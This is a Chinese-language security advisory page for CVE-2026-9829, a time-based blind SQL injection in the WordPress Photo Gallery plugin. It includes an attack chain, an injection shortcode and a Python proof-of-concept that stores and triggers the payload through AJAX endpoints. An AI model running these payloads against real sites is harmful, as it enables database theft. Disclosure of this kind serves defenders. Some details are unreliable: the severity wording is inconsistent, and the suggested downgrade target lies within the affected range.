IPBUF安全漏洞报告
English
CVE-2026-9829 CVSS 6.5 中危

CVE-2026-9829 WordPress Photo Gallery SQL注入漏洞

披露日期: 2026-06-06

漏洞信息

漏洞编号
CVE-2026-9829
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Photo Gallery by 10Web – Mobile-Friendly Image Gallery (WordPress插件)

相关标签

SQL注入WordPressPhoto Gallery插件CVE-2026-9829时间盲注短代码注入AJAX漏洞权限提升

漏洞概述

CVE-2026-9829是WordPress平台Photo Gallery插件中的一个高危SQL注入漏洞。该插件是一款流行的移动友好型图片画廊插件,在全球范围内有大量安装使用。漏洞源于插件在处理'compact_album_order_by'短代码参数时,未对用户输入进行充分的转义处理,同时现有SQL查询也缺乏足够的预处理机制。这使得具有Contributor级别权限及以上的认证攻击者能够向现有SQL查询追加额外的恶意SQL语句,从而提取数据库中的敏感信息。漏洞的利用需要攻击者具备Contributor权限,但存储恶意载荷的AJAX端点不需要有效的nonce验证,触发载荷的端点甚至无需认证即可访问,大大降低了攻击难度。

技术细节

该漏洞为基于时间的盲注SQL注入。攻击者通过'compact_album_order_by'短代码参数注入恶意SQL payload。漏洞代码位于admin/controllers/Shortcode.php第59行、framework/WDWLibrary.php第2281行以及frontend/models/model.php第113和162行,这些位置存在用户输入直接拼接到SQL语句的问题。攻击流程分为两步:首先通过'shortcode_bwg'AJAX处理器(accessible to Contributor-level users,无需有效nonce)存储恶意短代码,然后通过无需认证的'bwg_frontend_data'AJAX处理器触发执行。由于缺乏参数绑定和输入过滤,攻击者可以使用SLEEP()等时间延迟函数结合条件判断来推断数据库内容。CVSS 3.1评分为6.5,主要影响机密性(高),完整性和可用性不受影响。

攻击链分析

STEP 1
Reconnaissance
识别目标网站使用的WordPress版本及Photo Gallery插件版本,确认版本<=1.8.41
STEP 2
Initial Access
获取WordPress Contributor级别账户权限(可通过注册或社会工程学手段)
STEP 3
Payload Storage
通过shortcode_bwg AJAX端点(无需nonce验证)注入包含SQL注入payload的短代码,如'[photo_album compact_album_order_by="1; SLEEP(5)--"]'
STEP 4
Trigger Execution
通过无需认证的bwg_frontend_data AJAX端点触发存储的恶意短代码执行SQL注入
STEP 5
Data Exfiltration
利用时间盲注技术,通过条件判断和时间延迟逐字符提取数据库敏感信息(如wp_users表中的用户名和密码哈希)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9829 SQL Injection PoC # WordPress Photo Gallery by 10Web <= 1.8.41 # Requires Contributor-level access import requests import time target_url = "http://target-wordpress-site.com" # Step 1: Store malicious shortcode with SQLi payload via shortcode_bwg AJAX store_payload = { "action": "shortcode_bwg", "shortcode_id": "1", "shortcode": "[photo_album compact_album_order_by='1; SELECT SLEEP(5)-- ']" } response1 = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=store_payload, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) print(f"Step 1 - Stored payload: {response1.status_code}") # Step 2: Trigger the payload via bwg_frontend_data AJAX (unauthenticated) trigger_payload = { "action": "bwg_frontend_data", "shortcode_id": "1" } start_time = time.time() response2 = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=trigger_payload) elapsed = time.time() - start_time if elapsed > 5: print(f"SQL Injection confirmed! Response time: {elapsed}s") # Extract data using time-based blind SQLi techniques # Example: Use SUBSTRING() and ASCII() with SLEEP() to extract data bit by bit else: print("Injection failed")

影响范围

Photo Gallery by 10Web (WordPress插件) <= 1.8.41

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1) 限制或禁用Photo Gallery插件的AJAX功能;2) 临时降级到1.8.40或更早版本(需确认旧版本无其他漏洞);3) 对所有用户实施强密码策略和多因素认证;4) 监控wp-admin/admin-ajax.php的异常请求日志;5) 考虑使用Web应用防火墙(WAF)规则阻止包含'compact_album_order_by'参数的恶意请求。建议尽快升级到官方发布的修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表